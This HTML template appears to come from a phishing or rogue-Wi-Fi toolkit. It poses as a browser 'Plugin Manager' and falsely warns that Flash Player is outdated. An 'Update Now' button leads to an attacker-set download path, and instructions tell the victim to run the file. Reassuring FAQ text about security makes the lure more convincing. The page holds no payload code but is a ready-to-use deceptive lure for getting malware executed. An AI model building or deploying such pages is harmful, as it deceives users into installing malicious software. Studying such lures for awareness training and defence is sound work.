<!DOCTYPE html>
<html>
   
   <head>
      <link rel="icon" href="static/images/favicon.ico">  
      <title>Plugin Manager</title>
      <meta name = "viewport" content = "width = device-width, initial-scale = 1.0">
      
      <link href = "static/css/bootstrap.min.css" rel = "stylesheet">
      <link href="static/css/theme.css" rel="stylesheet">
      
   </head>
   
   <body>
      
    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="">Plugin Manager</a>
        </div>
        </div>
        </nav>


      <div class="container theme-showcase" role="main">

      <div class="alert alert-warning" role="alert">
        <h4><strong>WARNING:</strong> Your browser plugins are severely out of date. Update your browser plugins to continue browsing securely.</h4>
      </div>

      <div class="page-header">
        <h1><strong>Update Your Plugins</strong></h1>
        <h4>Keeping your plugins up to date helps your browser run safely and smoothly.</h4>
      </div>

      <div class="jumbotron">
        <h1>Plugin Status</h1>
       <br>

      <div class="row">
        <div class="col-md-13">
          <table class="table">
            <thead>
              <tr>
                <th><h3>Plugin</h3></th>
                <th><h3>Status</h3></th>
                <th><h3>Action</h3></th>

              </tr>
            </thead>
            <tbody>
              <tr>
                <td>
                  <strong>Flash Player</strong><br>
                  Flash Player is a lightweight browser plug-in and rich Internet application runtime that delivers consistent and engaging user experiences, stunning audio/video playback, and exciting gameplay
               </td>

                <td>
                  <br><strong>Outdated</strong>
               </td>

                <td>
                  <h4>
                  <form method="get" action="{{ update_path }}">
                    <button type="submit" class="btn btn-lg btn-success">Update Now</button>
                    </form>
                  </h4>
                </td>
              </tr>
         </tbody>
         </table>

               <br>

               <p> 
       <ul class="list-unstyled">
               <ul>
                   <li><h4><strong>Step 1:</strong> Click 'Update Now' to download the update file.</h4></li>
                   <li><h4><strong>Step 2:</strong> Run the update file to update your plugins.</h4></li>
               </ul>
       </ul>
      <br>


      </div>
      </div>
      </div>

      <div class="jumbotron">
        <h1>Frequently Asked Questions</h1>

      <div class="row marketing">
        <div class="col-lg-6">
          <h3>What is a plugin?</h3>
      <p> 
       <ul class="list-unstyled">
               <ul>
                   <li><h4>Plugins power videos, animation and games.</h4></li>
                   <li><h4>Plugins don't always update automatically.</h4></li>
                   <li><h4>They're built outside of your browser by companies like Adobe Systems and Apple.</h4></li>
               </ul>
       </ul>
       <br>
      <p>

          <h3>How does Plugin Manager help me?</h3>
          <h4>Your browser's plugin manager <strong>automatically updates</strong> most of your plugins for you. However, some plugins occassionally require <strong>manual updating</strong>.</h4>
       <br>

        </div>

        <div class="col-lg-6">
          <h3>Why should I update my plugins?</h3>
         <p> 
          <ul class="list-unstyled">
                  <ul>
                      <li><h4>Old plugins <strong>increase your risk</strong> for attack by malware, viruses, and other security threats.</h4></li>
                      <li><h4><strong>Updated plugins have improvements</strong> that make the web <strong>better and safer</strong> for you.</h4></li>
                      <li><h4>Old plugins can <strong>interrupt browsing</strong> and waste your time.</h4></li>

                  </ul>
          </ul>
          <br>

         <img src="static/images/plugins.png" class="img-thumbnail" alt="A generic square placeholder image with a white border around it, making it resemble a photograph taken with an old instant camera">

        </div>
      </div>

    </div>

      </div>

      <script src = "static/js/jquery.js"></script>
      
      <script src = "static/js/bootstrap.min.js"></script>
      
   </body>
	
</html>
